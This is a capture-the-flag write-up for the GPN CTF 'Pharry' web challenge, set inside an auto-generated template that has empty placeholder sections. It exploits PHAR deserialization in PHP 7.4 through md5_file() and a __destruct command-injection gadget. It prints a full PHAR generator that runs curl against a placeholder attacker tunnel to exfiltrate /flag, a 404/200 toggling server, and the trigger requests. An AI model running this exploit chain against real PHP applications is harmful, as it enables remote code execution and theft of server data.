Pharry
Pharry
Platform: GPN CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-06 | Status: Solved Techniques: destruct_gadget_command_injection, oob_flag_exfiltration_via_curl, phar_deserialization_via_md5_file, php74_phar_format_compatibility, stateful_http_server_404_200_toggle
Summary
Task: PHP 7.4 app with md5_file() on user-controlled path, User class with __destruct() calling system('rm ' . avatar_path). Solution: plant a malicious PHAR via stateful HTTP server (404→200 toggle), trigger phar:// deserialization through md5_file() to get RCE via __destruct gadget.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
gpnctf| ID:20260606_gpnctf_pharry - Tags: command_injection, rce, php, deserialization, magic_methods, php7, phar
- Indicators: md5_file() or other file function with user-controlled path, PHP 7.x target (phar:// auto-deserialization), User class with __destruct calling system(), avatar_path concatenated into shell command without sanitization, fallback branch writes remote content to local file
- Source:
20260606_gpnctf_pharry.md
Foothold
Vulnerability / Misconfiguration
- Destruct_gadget_command_injection
- Oob_flag_exfiltration_via_curl
- Phar_deserialization_via_md5_file
- Php74_phar_format_compatibility
- Stateful_http_server_404_200_toggle
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- destruct_gadget_command_injection
- oob_flag_exfiltration_via_curl
- phar_deserialization_via_md5_file
- php74_phar_format_compatibility
- stateful_http_server_404_200_toggle
- Tags: command_injection, rce, php, deserialization, magic_methods, php7, phar
Original Writeup
<details><summary>Click to expand original content</summary>Pharry — GPNCTF 2026
Description
PHP7 was soo cooked...
A PHP 7.4 web application takes a path GET parameter and calls md5_file() on it. A User class with a dangerous __destruct() method provides a command injection gadget. The goal is to achieve RCE and read the flag from the server.
Analysis
Source Code (index.php)
<?php
class User {
public $avatar_path;
public $name;
public $password;
function __construct($name, $password) {
$this->name = $name;
$this->password = $password;
$this->avatar_path = "avatars/".$name.".png";
system("touch ".$this->avatar_path);
}
function __destruct() {
system("rm ".$this->avatar_path);
}
}
$file = $_GET['path'];
$res = md5_file($file);
if ($res == FALSE){
file_put_contents("/tmp/remote_file.jpg",file_get_contents($file));
$res = md5_file("/tmp/remote_file.jpg");
}
if ($res == 0xdeadbeef){
echo "Congratulations! Here is not your flag: ".file_get_contents("flag.txt");
} else{
echo $res;
}
?>
Vulnerability Chain
-
PHAR Deserialization (PHP 7.x): The challenge title "Pharry" is a pun on PHAR. In PHP 7.x,
md5_file()(and other file functions likefile_exists,fopen, etc.) automatically deserialize PHAR metadata when called with thephar://stream wrapper. This behavior was hardened/removed in PHP 8.0+. The flavor text "PHP7 was soo cooked" confirms the target runs PHP 7. -
Command Injection Gadget:
User::__destruct()callssystem("rm ".$this->avatar_path). By crafting aUserobject withavatar_path = "x; <malicious_command> #", we get arbitrary command execution when the object is garbage-collected after deserialization. -
File Plant Primitive: The FALSE branch writes remote content to
/tmp/remote_file.jpgviafile_get_contents(). This allows planting a malicious PHAR file on the server's filesystem at a known path. -
Red Herrings: The
$res == 0xdeadbeefcomparison (PHP type juggling with loose==) and theflag.txtcontaining ASCII art are both decoys. The real flag is at/flagon the server.
The Stateful Server Problem
The key challenge is getting into the FALSE branch. md5_file() succeeds on http:// URLs (it fetches the content and returns its MD5 hash), so it never returns FALSE for a valid remote URL. Both md5_file() and file_get_contents() use the same PHP stream wrappers — there's no standard wrapper where one fails and the other succeeds.
Solution: A stateful HTTP server that returns 404 on the 1st request (causing md5_file to return FALSE) and 200 with PHAR bytes on the 2nd request (so file_get_contents succeeds and writes the PHAR to /tmp/remote_file.jpg). Within a single PHP request, md5_file() and file_get_contents() make separate HTTP requests to the same URL, allowing the server to respond differently.
Solution
Step 1: Generate Malicious PHAR with PHP 7.4
The PHAR must be generated with PHP 7.4 — PHP 8.x produces a subtly different manifest format that causes "truncated entry" errors on PHP 7.4 targets.
<?php
// gen_phar.php — run with: docker run --rm -v "$(pwd):/work" -w /work php:7.4-cli php -d phar.readonly=0 gen_phar.php
class User {
public $avatar_path;
public $name;
public $password;
}
@unlink("exploit.phar");
$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("test.txt", "test");
$o = new User();
$TUN = "https://ATTACKER_TUNNEL_URL";
$cmd = "curl -s $TUN/BEACON; D=\$( cat /flag* 2>/dev/null | base64 | tr -d \"\\n\"); curl -s $TUN/FLAG/\$D";
$o->avatar_path = "x; $cmd #";
$o->name = "x";
$o->password = "x";
$phar->setMetadata($o);
$phar->setSignatureAlgorithm(Phar::SHA1);
$phar->stopBuffering();
echo "phar created, size=".filesize("exploit.phar")."\n";
Build with Docker:
docker run --rm -v "$(pwd):/work" -w /work php:7.4-cli php -d phar.readonly=0 gen_phar.php
Step 2: Stateful HTTP Server (404→200 Toggle)
#!/usr/bin/env python3
# stateful_server.py — serves 404 on odd requests, 200+phar on even requests
from http.server import HTTPServer, BaseHTTPRequestHandler
import os
request_count = {}
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
path = self.path
count = request_count.get(path, 0) + 1
request_count[path] = count
print(f"[{count}] {path}", flush=True)
if path == "/phar":
if count % 2 == 1: # odd requests -> 404 (for md5_file)
self.send_response(404)
self.end_headers()
else: # even requests -> 200 + phar (for file_get_contents)
data = open("exploit.phar", "rb").read()
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
else:
self.send_response(200)
self.end_headers()
def log_message(self, format, *args):
pass
print("Server on :8899", flush=True)
HTTPServer(("0.0.0.0", 8899), Handler).serve_forever()
Expose via cloudflared tunnel:
cloudflared tunnel --url http://localhost:8899
Step 3: Plant the PHAR on the Server
GET /?path=https://TUNNEL_URL/phar
What happens inside PHP:
md5_file("https://TUNNEL_URL/phar")→ server returns 404 →md5_filereturns FALSE- Enters the FALSE branch →
file_get_contents("https://TUNNEL_URL/phar")→ server returns 200 + PHAR bytes file_put_contents("/tmp/remote_file.jpg", <phar_bytes>)→ PHAR planted at known pathmd5_file("/tmp/remote_file.jpg")→ returns MD5 hash of the PHAR (confirms successful write)
Step 4: Trigger PHAR Deserialization → RCE
GET /?path=phar:///tmp/remote_file.jpg/test.txt
What happens inside PHP 7.4:
md5_file("phar:///tmp/remote_file.jpg/test.txt")→ PHP 7.4 auto-deserializes PHAR metadata- Creates
Userobject withavatar_path = "x; curl ... #" - Object is garbage-collected →
__destruct()fires →system("rm x; curl -s TUNNEL/BEACON; D=$(cat /flag* | base64 | tr -d '\n'); curl -s TUNNEL/FLAG/$D #") - Flag arrives at attacker's tunnel as a base64-encoded URL path segment
Step 5: Decode the Flag
The cloudflared tunnel logs show an incoming request like:
GET /FLAG/R1BOQ1RGe1dlQl9pNV9GT3JfdzNFOHNfQU5EX1NVY0s1X1BoUF9JU19Db29MXzdvdTZIfQ==
echo 'R1BOQ1RGe1dlQl9pNV9GT3JfdzNFOHNfQU5EX1NVY0s1X1BoUF9JU19Db29MXzdvdTZIfQ==' | base64 -d
# GPNCTF{REDACTED}
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR